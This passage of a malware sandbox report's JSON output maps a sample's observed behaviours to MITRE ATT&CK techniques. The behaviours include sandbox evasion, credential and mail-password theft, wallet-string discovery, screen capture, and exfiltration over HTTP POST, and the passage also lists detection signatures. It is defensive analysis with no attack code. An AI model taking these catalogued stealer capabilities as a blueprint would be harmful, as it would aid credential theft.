Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"},{"type":"malicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Found Crypto currency wallets related strings"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"},{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; Source: \"00000000-00007220.00000001.293825.873A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007220.00000001.293825.873A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin\")\n Found reference to \"6Z0IxJ2de8SYnQ3E6p0MxO2dDMTvnQzEup0OxJydBcTmnXzE7p0NxO+dDcTqnX/E7J18xOidC8TpnQvEgp0NxO6dDcTunQ3E7p0NxO+d\" (Indicator: \"Oid\"; Source: \"00000000-00007220.00000000.292436.144F0000.00000004.mdmp\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00007220.00000000.292436.87508000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007220.00000000.292436.A7780000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007220.00000001.293825.40000000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\" tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$4f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00007220.00000000.292436.144F0000.00000004.mdmp, 00000000-00007220.00000001.293825.144F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"69e2cd1d6aa066b8f70eabbd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"